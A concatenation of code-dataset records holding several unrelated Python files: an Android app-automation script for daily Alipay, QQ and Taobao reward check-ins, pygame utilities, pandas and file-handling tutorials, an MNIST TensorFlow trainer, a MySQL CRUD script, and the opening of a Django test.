#收取自己的能量\n\t\ttime.sleep(1)\n\t\tel.click()\n\t\ttime.sleep(1)\n\t\n\tscrool_wait_xpath_element_click(d,'//*[@content-desc=\"查看更多好友\"]',10);time.sleep(0.2)\n\twait_xpath_element_appear(d,'//*[@content-desc=\"baron\"]',10);time.sleep(0.2)\n\t\n\tgather_top_tree(d,3) #收取前三名好友能量\n\tgather_all_friends(d,count) #收取其它好友能量\n\t\n\td.implicitly_wait(25)\n\tFLAT_EXIT = True\n\ttime.sleep(5)\n\tprint((\"(QQ账户 : %s)退出\") % (username))\n\td.app_stop(app_name);d.app_clear(app_name)\t\t\t\n\ndef siguojunqi(username):\n\tapp_name = \"com.tencent.tmgp.TCrossSGJQ\"\n\td = u2.connect()\n\td.app_stop(app_name);d.app_clear(app_name);d.app_start(app_name);time.sleep(5)\n\td.click(0.65, 0.716);time.sleep(0.5)\n\td.xpath('//*[@text=\"登录\"]').click();time.sleep(30)\n\td.click(0.554, 0.864);time.sleep(0.5)#确定 \n\td.click(0.468, 0.764);time.sleep(0.5) #我知道了\n\td.click(0.464, 0.756);time.sleep(0.5) #知道了\n\td.click(0.608, 0.892);time.sleep(0.5) #去掉看视频额外获得300金币的勾\n\td.click(0.46, 0.884);time.sleep(0.5) #领取金币\n\tprint((\"腾讯天天四国军棋线程 (账户 : %s)领取金币成功!\") % (username))\n\tprint(\"结束:腾讯天天四国军棋线程\")\n\ndef qq_login(username,passwd,period):\n\tglobal FLAT_EXIT\n\tapp_name = \"com.tencent.mobileqq\"\n\td = u2.connect()\n\tunlock_pattern_screen()\n\ttime.sleep(2)\n\n\tFLAT_EXIT = False\n\td.app_stop(app_name);d.app_clear(app_name);d.app_start(app_name);time.sleep(5)\n\t_thread.start_new_thread(click_box, (d,))\n\td.implicitly_wait(15)\n\t\n\ttry:\n\t\td(resourceId=\"com.tencent.mobileqq:id/btn_login\").click()\n\t\td.xpath('//*[@resource-id=\"com.tencent.mobileqq:id/input\"]').click();d.send_keys(username)\n\t\td(resourceId=\"com.tencent.mobileqq:id/password\").send_keys(passwd)\n\t\td(resourceId=\"com.tencent.mobileqq:id/login\").click()\n\t\ttime.sleep(2)\n\t\tprint((\"(QQ账户 : %s)登录成功!保持 %ss\") % (username,period))\n\t\tprint((\"创建腾讯天天四国军棋线程---%s\") % (username))\n\t\t_thread.start_new_thread(siguojunqi, (username,))\n\t\ttime.sleep(period)\n\texcept:\n\t\tpass\n\t\n\td.implicitly_wait(25)\n\tFLAT_EXIT = True\n\ttime.sleep(5)\n\tprint((\"(QQ账户 : %s)退出\") % (username))\n\td.app_stop(app_name);d.app_clear(app_name)\n\ndef taobao(username,passwd):\n\tglobal FLAT_EXIT\n\tapp_name = \"com.taobao.taobao\"\n\td = u2.connect()\n\tunlock_pattern_screen()\n\ttime.sleep(2)\n\n\tFLAT_EXIT = False\n\td.app_stop(app_name);d.app_clear(app_name);d.app_start(app_name);time.sleep(5)\n\t_thread.start_new_thread(click_box, (d,))\n\td.implicitly_wait(15)\n\t\n\ttry:\n\t\td.xpath('//*[@content-desc=\"我的淘宝\"]').click()\n\t\td(resourceId=\"com.taobao.taobao:id/aliuser_login_switch_pwdlogin\").click()\n\t\td.xpath('//*[@resource-id=\"com.taobao.taobao:id/aliuser_login_account_rl\"]').click();d.send_keys(username)\n\t\td.xpath('//*[@resource-id=\"com.taobao.taobao:id/aliuser_user_login_ll\"]/android.widget.RelativeLayout[1]').click();d.send_keys(passwd)\n\t\td(resourceId=\"com.taobao.taobao:id/aliuser_login_login_btn\").click()\n\t\ttime.sleep(10)\n\t\t\n\t\tif d.xpath('//*[@resource-id=\"com.taobao.taobao:id/mytaobao_listview\"]').exists:\n\t\t\tprint(\"2222222222222222\")\n\t\t\t#d.xpath('//*[@resource-id=\"com.taobao.taobao:id/mytaobao_listview\"]').click()\n\t\t\ttime.sleep(5)\n\t\t\n\t\td.xpath('//*[@content-desc=\"首页\"]/android.widget.ImageView[1]').click()\n\t\ttime.sleep(10)\n\t\t\n\t\tif d.xpath('//*[@resource-id=\"com.taobao.taobao:id/layermanager_penetrate_webview_container_id\"]').exists:\n\t\t\td.xpath('//*[@resource-id=\"com.taobao.taobao:id/layermanager_penetrate_webview_container_id\"]').click()\n\t\t\ttime.sleep(5)\n\t\t\n\t\tif d.xpath('//*[@text=\"领淘金币\"]').exists:\n\t\t\td.xpath('//*[@text=\"领淘金币\"]').click()\n\t\t\ttime.sleep(2)\n\t\t\tif d.xpath('//*[starts-with(@text,\"签到领取\")]').exists:\n\t\t\t\td.xpath('//*[starts-with(@text,\"签到领取\")]').click()\n\t\t\t#d.xpath('//android.widget.FrameLayout[2]/android.widget.LinearLayout[1]/android.widget.FrameLayout[1]').click()\n\n\texcept:\n\t\tpass\n\t\n\td.implicitly_wait(25)\n\tFLAT_EXIT = True\n\ttime.sleep(5)\n\t#d.app_stop(app_name);d.app_clear(app_name)\n\ndef every_day_operation():\n\tglobal share_target\n\tprint((\"================= (%s) enter =================\") % (hehe_common.get_time()))\n\t\ndef test():\n\td = u2.connect()\n\tconfig = hehe_common.common_config()\n\t\n\ndef every_hour_excute():\n\tconfig = hehe_common.common_config()\n\t\n\t############## (zhifubao : 蚂蚁森林) ###############\n\tzhifubaoConfig = config[\"zhifubao\"]\n\tzhifubaoList = config[\"zhifubao\"][\"zhifubao_account\"]\n\tfor zfb in zhifubaoList:\n\t\tzhifubao(zfb[0],zfb[1],int(zfb[2]))\n\t#skip : \"17091425019\",\"15618177537\"\n\t\n\t\n\t\n\ndef every_day_excute():\n\tconfig = hehe_common.common_config()\n\n\t############## (qq登录5分钟、qq四国军棋领金币) ###############\n\ttaobaoConfig = config[\"taobao\"]\n\ttaobaoList = config[\"taobao\"][\"taobao_account\"]\n\tfor tb in taobaoList:\n\t\ttaobao(tb[0],tb[1])\n\t\n\t############## (qq登录5分钟、qq四国军棋领金币) ###############\n\tqqConfig = config[\"qq\"]\n\tqqList = config[\"qq\"][\"qq_account\"]\n\tfor qq in qqList:\n\t\tqq_login(qq[0],qq[1],qqConfig[\"login_time\"])\n\t\t\n\n\nif __name__ == '__main__':\n\tprint(str(sys.argv[0]) + \" enter\")\n\t#config = hehe_common.common_config()\n\t\n\tevery_hour_excute()\n\t\n\tschedule.every().day.at(\"00:09\").do(every_day_excute)\n\t\n\tschedule.every().day.at(\"06:30\").do(every_hour_excute)\n\tschedule.every().day.at(\"07:00\").do(every_hour_excute)\n\tschedule.every().day.at(\"07:30\").do(every_hour_excute)\n\tschedule.every().day.at(\"08:00\").do(every_hour_excute)\n\tschedule.every().day.at(\"08:30\").do(every_hour_excute)\n\tschedule.every().day.at(\"09:00\").do(every_hour_excute)\n\t\n\twhile True:\n\t\tschedule.run_pending()\n\t\ttime.sleep(10)\n\n'''\n\nif __name__ == '__main__':\n\ttest()\n'''\t\t\t\n\n\t\n\n\n","sub_path":"PythonTools/dailyTask/uiauto.py","file_name":"uiauto.py","file_ext":"py","file_size_in_byte":12336,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"416177258","text":"import pygame\nimport calendar\nimport time\n\nclass Stopwatch(): \n\n def __init__(self, x=820, y=0, move=5, colour = (255,255,255)):\n self.x = x\n self.y = y\n\n self.second = 0\n self.minute = 0\n self.hour = 0\n self.move = move\n self.clock = pygame.time.Clock()\n self.colour = colour\n\n self.time_seconds = int(time.time())\n\n self.paused = False\n\n self.shouldistart = False\n\n def get_clock_display(self,font_size): \n \"\"\"Returns the appearence of the stopwatch including current time.\n Each element in the list is a line to be displayed\"\"\"\n space = \" \"\n gap = space* self.move\n \n lines = []\n\n lines.append(\"Smart Stopwatch\")\n lines.append(gap+'-------------') \n lines.append(gap+' %d : %d : %d '%(self.hour, self.minute, self.second)) \n lines.append(gap+'-------------')\n \n font = pygame.font.SysFont('Calibri',font_size , True , False)\n display_lines = []\n for line in lines:\n display_lines.append(font.render(line, False, self.colour)) \n \n return display_lines\n \n def clock_update(self):\n \"\"\"Updates the clock time (when not paused)\"\"\"\n if self.shouldistart == True:\n \n if not self.paused:\n new_time = int(time.time())\n if new_time != self.time_seconds:\n self.time_seconds = new_time\n \n self.second+=1 \n if(self.second >= 60): \n self.second = 00 \n self.minute+=1 \n if(self.minute >= 60): \n self.minute = 00 \n self.hour+=1\n\n def start(self):\n \"\"\"Starts the stopwatch\"\"\"\n\n print(\"start call\")\n\n\n if self.paused == True:\n self.paused = False\n \n self.shouldistart = True\n # if self.start == True:\n # self.start = False\n # elif self.start == False:\n # self.start = True\n #Only update if it's been a second\n # new_time = int(time.time())\n # if self.time_seconds != new_time:\n # self.time_seconds = new_time\n\n # self.second+=1 \n # if(self.second >= 60): \n # self.second = 00 \n # self.minute+=1 \n # if(self.minute >= 60): \n # self.minute = 00 \n # self.hour+=1; \n\n \n def reset(self):\n \"\"\"Resets the stopwatch to 0:0:0\"\"\"\n\n self.second = 0\n self.minute = 0\n self.hour = 0\n\n def pause(self):\n \"\"\"Activating this method will pause the stopwatch\n if it is running.\n If the stopwatch is currently paused than acitvaing\n this will unpause the stopwatch.\"\"\"\n \n if self.paused == False:\n self.paused = True\n \n\nclass Calendar():\n \n def __init__(self, x=820, y=135, month=6, year=2018, \\\n colour=(255,255,255), text_size=22, \\\n digit_size=24, first_line_indent=5, single_digit_gap=5):\n\n self.x = x\n self.y = y\n\n self.month = month\n self.year = year\n\n self.colour = colour\n self.text_size = text_size\n self.digit_size = digit_size\n self.first_line_indent = first_line_indent\n self.single_digit_gap = single_digit_gap\n\n self.calendar = calendar.TextCalendar(calendar.MONDAY)\n\n def get_calendar_lines(self):\n \"\"\"Returns a list of lines to display the calendar.\n Each element is a single row.\"\"\"\n\n # Recreate date to reflect changes in month and year\n date = self.calendar.formatmonth(self.year, self.month)\n \n return self.process_calendar_lines(date)\n\n def process_calendar_lines(self, lines):\n \"\"\"\n Converts text output of the calendar into a\n formatted list of screen objects. Each element\n is a row on the calendar\n\n Lines: long text of calendar output\n \"\"\"\n\n font_text = pygame.font.SysFont('Calibri', self.text_size, True, False)\n font_numbers = pygame.font.SysFont('Calibri', self.digit_size, True, False)\n \n line_images = []\n for e, i in enumerate(lines.split(\"\\n\")):\n #The first two rows are text\n if e <= 1:\n font = font_text\n else:\n font = font_numbers\n # First row of digits is often not a full week,\n # so the digit positions must be asjusted.\n if e == 2:\n modifyLine = True\n i = self.organise_calendar_digits(i, modifyLine)\n else: \n modifyLine = False\n i = self.organise_calendar_digits(i, modifyLine)\n\n line_image = font.render(i, False, self.colour)\n line_images.append(line_image)\n\n return line_images\n\n def organise_calendar_digits(self, string, incompleteline):\n \"\"\"Organises a row of digits (spacing single and double digits\n correctly).\"\"\"\n\n line = \"\"\n digits = [i for i in string.split(\" \") if i != \"\"]\n \n for e, i in enumerate(digits):\n if e == 0 and incompleteline:\n num_days = len(digits)\n missingdays = 7 - num_days\n line += \" \" * self.first_line_indent * missingdays\n \n if len(i) == 1:\n line += i + (\" \" * self.single_digit_gap)\n\n else:\n line += i + \" \"\n \n return line\n\n\nclass Button():\n def __init__(self, x=0, y=0, image='Mario.png', shape=None):\n #Set x-y coordinates\n self.x = x\n self.y = y\n \n #Load image\n img = pygame.image.load(image)\n if shape:\n img = pygame.transform.scale(img, shape)\n \n #Get rect of image and move to x-y coordinates\n self.img = img\n self.img_rect = img.get_rect()\n self.img_rect.move_ip(x, y)\n\n def display(self, screen):\n \"\"\"This method displays the button to the screen object\"\"\"\n \n screen.blit(self.img, self.img_rect)\n\n def clicked(self, x, y):\n \"\"\"This method returns a value of True if the\n x and y coordinates are within the boundary \n of the buttion (i.e. if the button was clicked)\"\"\"\n\n return self.img_rect.collidepoint(x, y)\n","sub_path":"utilities.py","file_name":"utilities.py","file_ext":"py","file_size_in_byte":6614,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"439880443","text":"# coding=utf-8\n\"\"\"重新索引\n创建一个适应新索引的新对象\n\"\"\"\nimport pandas as pd\nimport numpy as np\n\nobj = pd.Series([4.5, 7.2, -5.3, 3.6], index=['d', 'b', 'a', 'c'])\nprint(obj)\n\"利用reindex对Series进行重排\" \\\n\"fill_value : 引入缺失值\"\nobj2 = obj.reindex(['a', 'b', 'c', 'd', 'e'], fill_value=1)\nprint(obj2)\n\n\"ffill : 实现前向值填充\"\nobj3 = pd.Series(['blue', 'purple', 'yellow'], index= [0, 2, 4])\nobj4 = obj3.reindex(range(6), method='ffill')\nprint(obj4)\n\"reindex 的插值method选项\"\n\"\"\"\nffill / pad : 前向填充值\nbfill / backfill : 后向填充值\n\"\"\"\n\n\"reindex 函数的参数\"\n\"\"\"\nindex : 用作索引的新序列\nmethod : 插值方式\nfill_value : 重新索引过程中,引入缺失值\nlimit : 前向或后向填充时的最大填充值\nlevel : 在MultiIndex的指定级别上匹配简单索引\ncopy : 默认为True, 无论如何都复制;如果为False , 新旧相等则不复制\n\"\"\"","sub_path":"python_for_data_analysis/chapter5_pandas/2.1_Reindex.py","file_name":"2.1_Reindex.py","file_ext":"py","file_size_in_byte":931,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"271243982","text":"import ns\nimport unittest\n\nclass testNS(unittest.TestCase):\n def testMeta(self):\n class TestNS(ns.NS):\n NS = \"http://test\"\n tags = \"document author\"\n \n self.assertEqual(TestNS.document, \"{http://test}document\")\n self.assertEqual(TestNS.author, \"{http://test}author\")\n \n def testMissingTags(self):\n try:\n class TestNS(ns.NS):\n NS = \"Something\"\n # But forgot tags \n except:\n return\n self.fail(\"Should throw exception for missing tags\") \n\n def testMissingNS(self):\n try:\n class TestNS(ns.NS):\n tags = \"some tags\"\n # But forgot NS\n except:\n return\n self.fail(\"Should throw exception for missing NS\") \n\n\nif __name__ == \"__main__\":\n unittest.main()\n","sub_path":"archived/cvs2svn-2008-09-25/tags/cvs2svn-2008-09-25/testrepo/web/repository/taverna/testns.py","file_name":"testns.py","file_ext":"py","file_size_in_byte":868,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"124864025","text":"# reference(설명): https://whwl.tistory.com/193\n# 문제 : https://programmers.co.kr/learn/courses/30/lessons/72412\nfrom itertools import combinations\nfrom collections import defaultdict\n\ndef solution(info, query):\n answer = []\n info_dict = defaultdict(list)\n for i in info:\n i = i.split()\n info_key = i[:-1]\n info_val = int(i[-1])\n for idx in range(5):\n for c in combinations(info_key, idx):\n tmp_key = ''.join(c)\n info_dict[tmp_key].append(info_val)\n \n for key in info_dict.keys():\n info_dict[key].sort()\n\n for q in query:\n q = q.split(' ')\n q_score = int(q[-1])\n q = q[:-1]\n\n for idx in range(3):\n q.remove('and')\n \n while '-' in q:\n q.remove('-')\n tmp_q = ''.join(q)\n\n # lower bound\n if tmp_q in info_dict:\n scores = info_dict[tmp_q]\n if len(scores) > 0:\n start, end = 0, len(scores)\n while end > start:\n mid = (start + end) // 2\n if scores[mid] >= q_score:\n end = mid\n else:\n start = mid + 1\n answer.append(len(scores) - start)\n else:\n answer.append(0)\n return answer\n\n# Test\ninfo=[[\"java backend junior pizza 150\",\"python frontend senior chicken 210\",\"python frontend senior chicken 150\",\"cpp backend senior pizza 260\",\"java backend junior chicken 80\",\"python backend senior chicken 50\"]]\nquery = [[\"java and backend and junior and pizza 100\",\"python and frontend and senior and chicken 200\",\"cpp and - and senior and pizza 250\",\"- and backend and senior and - 150\",\"- and - and - and chicken 100\",\"- and - and - and - 150\"]]\nresult = [[1, 1, 1, 1, 2, 4]]\n\nfor i, q, r in zip(info, query, result):\n res = solution(i,q)\n print(\"{} {} ==> {}\".format(r, res, res == r))\n","sub_path":"ranking_search.py","file_name":"ranking_search.py","file_ext":"py","file_size_in_byte":1947,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"410316980","text":"from mrjob.job import MRJob\nclass SaleExtract(MRJob):\n def mapper(self, _, line):\n if line.startswith('#'): \n return\n fields = line.split()\n state = fields[3]\n if state != 'CA': \n return\n yield (state, line)\n\nif __name__ == '__main__': \n SaleExtract.run()","sub_path":"map-reduce/mark_llorente/SaleExtract.py","file_name":"SaleExtract.py","file_ext":"py","file_size_in_byte":319,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"562079391","text":"import os\nimport tensorflow as tf\nimport inference\nfrom tensorflow.examples.tutorials.mnist import input_data\nimport numpy as np\nfrom tensorflow.contrib import layers\nimport data\n\nBATCH_SIZE = 100 #一次训练图像数量\nLEARNING_RATE_BASE = 0.015\nLEARNING_RATE_DECAY = 0.995\nREGULARZTION_RATE = 0.0001\nTRAINING_STEPS = 60000 #训练遍数\nMOVING_AVERAGE_DECAY = 0.99\n\nMODEL_SAVE_PATH = \"./model/\"\nMODEL_NAME = \"model.ckpt\"\n\ndef train(mnist):\n x = tf.placeholder(tf.float32, [\n BATCH_SIZE,\n inference.IMAGE_SIZE,\n inference.IMAGE_SIZE,\n inference.NUM_CHANNELS],name='x-input')\n y_ = tf.placeholder(tf.float32,[\n None,inference.OUTPUT_NODE],name='y-input')\n #规则化可以帮助防止过度配合,提高模型的适用性。(让模型无法完美匹配所有的训练项。)(使用规则来使用尽量少的变量去拟合数据)\n regularizer = tf.contrib.layers.l2_regularizer(REGULARZTION_RATE)\n y = inference.inference(x,True,regularizer)\n\n global_step = tf.Variable(0,trainable=False)\n #tf.train.ExponentialMovingAverage(decay, steps)\n #这个函数用于更新参数,就是采用滑动平均的方法更新参数。这个函数初始化需要提供一个衰减速率(decay)\n variable_averages = tf.train.ExponentialMovingAverage(MOVING_AVERAGE_DECAY,global_step)\n #tf.trainable_variables()返回所有 当前计算图中 在获取变量时未标记 trainable=False 的变量集合\n variable_averages_op = variable_averages.apply(tf.trainable_variables())\n\n cross_entropy = tf.nn.softmax_cross_entropy_with_logits(logits=y,labels=y_)\n cross_entropy_mean = tf.reduce_mean(cross_entropy)\n loss = cross_entropy_mean + tf.add_n(tf.get_collection('losses'))\n\n learning_rate = tf.train.exponential_decay(LEARNING_RATE_BASE,global_step,mnist.count / BATCH_SIZE,LEARNING_RATE_DECAY)\n train_step = tf.train.GradientDescentOptimizer(learning_rate).minimize(loss,global_step=global_step)\n train_op = tf.group(train_step, variable_averages_op)\n\n saver = tf.train.Saver()\n\n with tf.Session() as sess:\n tf.global_variables_initializer().run()\n for i in range(TRAINING_STEPS):\n xs,ys = mnist.next_batch(BATCH_SIZE)\n reshaped_xs = np.reshape(xs,(BATCH_SIZE,inference.IMAGE_SIZE,inference.IMAGE_SIZE,inference.NUM_CHANNELS))\n _,loss_value,step = sess.run([train_op,loss,global_step],feed_dict={x:reshaped_xs,y_:ys})\n\n if i % 100 == 0:\n print(\"After %d training step(s), loss is %g\" %(step,loss_value))\n saver.save(sess,os.path.join(MODEL_SAVE_PATH,MODEL_NAME),global_step=global_step)\n \n print(\"After %d training step(s), loss is %g\" %(TRAINING_STEPS,loss_value))\n saver.save(sess,os.path.join(MODEL_SAVE_PATH,MODEL_NAME),global_step=global_step)\n\ndef main(argv = None):\n mnist = data.data()\n train(mnist)\n\nif __name__ == '__main__':\n tf.app.run()\n","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":3049,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"84455902","text":"# coding=utf-8\n__author__ = 'admin'\nfrom Grammar import Grammar\n\nprint(\"Input path to file\")\n# sss = input()\nsss = \"F:\\\\KKKK\\\\KK_lab_3\\\\text2.txt\"\nfo = open(sss)\nlines = []\nG0 = Grammar()\nwhile sss != '':\n sss = fo.readline()\n lines.append(sss)\n print(sss)\nfo.close()\n\nlines = [ls.replace('\\n', '') for ls in lines]\nlines = [ls for ls in lines if ls != '']\nlines = [ls.split(' ') for ls in lines]\nG0.input_from_lines(lines)\nG3 = G0.homsky_form()\nt = ('true', '&', '-', 'true')\nif G3.CYK(t):\n print(G3.left_output(t))\n\ntarget = open(\"F:\\\\KKKK\\\\KK_lab_3\\\\out.txt\", 'w')\ntarget.truncate()\nfor line in G3.out_to_lines():\n target.write(line + \"\\n\")\ntarget.close()","sub_path":"KK_lab_3/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"500313624","text":"#plot of centerline logTKEdiss fluctuations vs. x/D\n#plot file directory/name at end of function definition\n\nfrom __future__ import division\nimport numpy as np\nfrom data_tools import get_inputFileParameter\nimport matplotlib\nmatplotlib.use('PDF')\nimport matplotlib.pyplot as plt\nfrom data_tools import commentHdr\n\n#---------------------------------------------------------------------------------------------\n\ndef logTKEdissrms_xD(DI): #uses list of cases\n\n cases=[]\n plotname=\"logTKEdissrms_xD\"\n\n matplotlib.rcParams.update({'font.size':20, 'figure.autolayout': True}) #, 'font.weight':'bold'})\n\n fig, axL = plt.subplots()\n color = {'coldJet_base':'k', 'coldJet_base_gDens60':'m', 'coldJet_base_gDens120':'b', 'coldJet_C_10_gDens120':'g', 'coldJet_C_10_ZLES_7_gDens120':'r', 'coldJet_LplanarTau_gDens60':'b--', 'coldJet_ZLES_7_gDens120':'c', 'coldJet__LPlanarTau_C_10_ZLES_7_gDens60':'r--'}\n \n for i in range(0,len(DI)):\n\n cases.append(DI[i]['cn'][8:])\n plotname+=\"__\"+DI[i]['cn'][8:]\n\n fname = DI[i]['pdir']+\"logTKEdiss_cl.dat\"\n\n data = np.loadtxt(fname, comments=commentHdr)\n \n axL.plot(data[:,0],data[:,2],color[DI[i]['cn']])\n\n axL.set_ylabel(r\"$logTKEdiss_{rms,cL}$\", fontsize=22)\n axL.set_xlabel(\"$x/D$\", fontsize=22)\n axL.legend(cases, loc='best', frameon=False, fontsize=8)\n\n #plt.savefig('../../data/plots_coldJet/'+plotname.replace(\".\",\"o\"))\n plt.savefig(\"../../data/plots_coldJet/\"+\"logTKEdissrms_xD__ALL\".replace(\".\",\"o\"))\n","sub_path":"post/coldJet/logTKEdissrms_xD.py","file_name":"logTKEdissrms_xD.py","file_ext":"py","file_size_in_byte":1511,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"516703054","text":"class FizzBuzz:\n def fizzybuzzy(self, num):\n if type(num) != int:\n return 'err'\n elif num % 3 == 0 and num % 5 == 0:\n return 'FizzBuzz'\n elif num % 3 == 0:\n return 'Fizz'\n elif num % 5 == 0:\n return 'Buzz'\n else:\n return 'ani fizz ani buzz'\n","sub_path":"src/sample/FizzBuzz.py","file_name":"FizzBuzz.py","file_ext":"py","file_size_in_byte":334,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"464124090","text":"import wx\nimport os , ast\nfrom os.path import basename\nfrom pprint import pprint as pp\nfrom include.utils import dict2, asrt\n\nclass ast_If(dict2):\n\tdef __init__(self, *args, **kwargs):\n\t\tdict2.__init__(self, *args, **kwargs)\n\tdef setTree(self, tree):\n\t\tself.tree=tree\n\tdef set_If(self, **kwargs):\n\t\tkey, nodes = kwargs['key'], kwargs['nodes']\n\t\ttree = self.tree\n\t\tlast0 = self.append_If( key)\n\t\tif last0:\n\t\t\ttree.Expand(last0)\n\tdef append_If(self, key, root=None):\n\t\ttree=self.tree\n\t\tlast0 = tree.AppendItem(tree.root if not root else root, key) \n\t\tif 1:\n\t\t\tfor b in self.node.body:\n\t\t\t\tif hasattr(b, 'value') and isinstance(b.value, ast.Call):\n\t\t\t\t\tif isinstance(b.value.func, ast.Name):\n\t\t\t\t\t\tcall = b.value.func.id\n\t\t\t\t\t\tlast1 = tree.AppendItem(last0, call)\n\t\treturn last0\n","sub_path":"tools/ast/ast_If.py","file_name":"ast_If.py","file_ext":"py","file_size_in_byte":777,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"600121862","text":"import pymysql\nimport sys\nimport logging\n\nlogging.basicConfig(format='{asctime}.{msecs:03.0f} {filename}:{lineno} {levelname} {message}',\n level=logging.DEBUG, style='{', datefmt='%Y-%m-%d %H:%M:%S',\n filename='log8.txt', filemode='a')\n \ndef create():#Insert operation\n try:\n with connection.cursor() as cursor:\n sql = \"INSERT INTO recipes (`recipe_id`, `recipe_name`) VALUES (8,'sxscsc')\"\n cursor.execute(sql)\n print(\"Task added successfully\")\n #connection.commit()\n finally:\n print(\"Insert completed\")\n logging.debug(\"Insert completed\")\n\ndef read():#Read Operation \n try:\n with connection.cursor() as cursor:\n sql = \"SELECT `recipe_id`, `recipe_name` FROM recipes;\"\n cursor.execute(sql)\n result = cursor.fetchall()\n print(\"Id\\t\\t name\")\n print(\"---------------------------------------------------------------------------\")\n for row in result:\n print(str(row[0]) + \"\\t\\t\" + row[1])\n finally:\n print(\"Read completed\")\n logging.debug(\"Read completed\")\n\ndef update():#Update operation\n try:\n with connection.cursor() as cursor:\n sql = \"UPDATE recipes SET `recipe_name`=%s WHERE `recipe_id` = %s\"\n cursor.execute(sql, ('Vadapav', 1))\n print(\"Successfully Updated...\")\n finally:\n print(\"update completed\")\n logging.debug(\"Update completed\")\n\ndef delete():#delete operation\n try:\n with connection.cursor() as cursor:\n sql = \"DELETE FROM recipes WHERE recipe_id = %s\"\n cursor.execute(sql, (1,))\n print(\"Successfully Deleted...\")\n finally:\n print(\"delete completed\")\n logging.debug(\"Delete completed\")\n \n connection.commit()\n connection.close()\nif __name__ == '__main__':\n connection = pymysql.connect(\n host='dbinstance.csaruqlxxway.us-east-1.rds.amazonaws.com',\n user=sys.argv[1],\n password=sys.argv[2],\n db='testdb',\n )\n create()\n read()\n update()\n delete()","sub_path":"aws8.py","file_name":"aws8.py","file_ext":"py","file_size_in_byte":2131,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"265104508","text":"# working with text files with Python\n\n# create new file - remember whenever you open a file in write mode the data will always be created from 0\n# as new file is created with the provided content included\nfo=open(\"C:\\\\Test\\\\test_file.txt\",\"w\") # to create a file you need to use w=write mode\n# fo.close() # close will save the file automatically\nprint(fo.mode) # to print in which mode your file is open w=write, a=append, r=read\nprint(fo.readable()) # boolean result ( in this case it is False as the file is open in writing mode\nprint(fo.writable()) # True in this case\nfo.write(\"this is a test file first line\\n\") # to write content in your file ( cursor position start from 1st line position 0)\nfo.write(\"New content in second line\") # to go to next line \\n\nfo.close()\n\nmy_content=[\"test 1\\n\",\"test 2\\n\",\"test 3\"]\nfo=open(\"C:\\\\Test\\\\Files\\\\list file.txt\",\"w\")\nfo.writelines(my_content) # i can use a list to write my content in file with writelines function\nfo.close()\n\nmy_content=[\"test 1\\n\",\"test 2\\n\",\"test 3\"]\nfo=open(\"C:\\\\Test\\\\Files\\\\loop_file.txt\",\"w\")\nfor each_line in my_content:\n fo.write(each_line+ \"n\") # i can use loop towrite in my file each line\nfo.close()\n\n# add content to file ( open file in a mode a= append) it won't disrupt existing data\n# note append mode and write mode if file is not there are same but if file exist\nmy_content=[\"test 1\\n\",\"test 2\\n\",\"test 3\"]\nfo=open(\"C:\\\\Test\\\\Files\\\\loop_file.txt\",\"a\") # im appendmode you will include the data from existing file\nfor each_line in my_content:\n fo.write(each_line+ \"n\") # i can use loop towrite in my file each line\nfo.close()\n\n# read content from file ( open in r mode r=read)\nfo=open(\"C:\\\\Test\\\\Files\\\\loop_file.txt\",\"r\")\nprint(fo.read()) # to read data in your file\nfile_content=fo.read() # store the content in a variable\nfo.close()\n\n# read line each line using loop\nfo=open(\"C:\\\\Test\\\\Files\\\\loop_file\",\"r\")\nfile_lines=fo.readlines() # you will get list of coontent in your file ( each line a new element in the list\n# now with for loop I want to read first 2 lines I am using index\nfor each in range(2): # I am using range\n print(file_lines[each]) # I am using variable each to read index in file lines ( remember file_lines is a list)\nfo.close()\n\n\n#### copy content from a file and copy to a new file ###############\n\nsource_file=open(\"C:\\\\Test\\\\Files\\\\sourceFile.txt\",\"r\") # open in read mode to get the content\nsource_content=source_file.read() # read content from source file and storein cource content variable\nsource_file.close()\n\ndest_file=open(\"C:\\\\Test\\\\Files\\\\myDest_File.txt\",\"w\") # open in write mode to copy the data from source\ndest_file.write(source_content) # write content from source file into dest file\ndest_file.close()\n\n\"\"\" \nif would be good to give provide path from sorce adn destination to be clear where you want to pick up and save the files\ndefault location is where you are\n\npath_file=open(\"c:\\\\path.txt\",\"w\") # safe option is to provide path always to avoid mistakes\n\nremmeber if you do not provide any mode the default is read mode\n\"\"\"","sub_path":"TextFiles.py","file_name":"TextFiles.py","file_ext":"py","file_size_in_byte":3070,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"35168507","text":"from django.test import TestCase\nfrom django.urls import reverse\nfrom django.utils import timezone\nfrom rest_framework.test import APIClient\nfrom rest_framework import status\nfrom django.contrib.auth import get_user_model\nfrom memories_api import models, serializers\n\n\nLIST_URL_MEMEORY_API = reverse('memory-list')\n\n\nclass PublicUnitTests(TestCase):\n def setUp(self):\n self.client = APIClient()\n\n def test_login_access(self):\n res = self.client.get(LIST_URL_MEMEORY_API)\n self.assertEqual(res.status_code, status.HTTP_401_UNAUTHORIZED)\n\n\nclass PrivateUnitTests(TestCase):\n def setUp(self):\n self.client = APIClient()\n self.user = get_user_model().objects.create_user(\n 'fake@studyeasy.org',\n 'password123'\n )\n self.client.force_authenticate(self.user)\n\n def test_list_memories(self):\n models.Tag.objects.create(tag='new Tag')\n tag = models.Tag.objects.get(pk=1)\n memory = models.Memory.objects.create(\n title='title',\n description='description',\n owner=self.user,\n 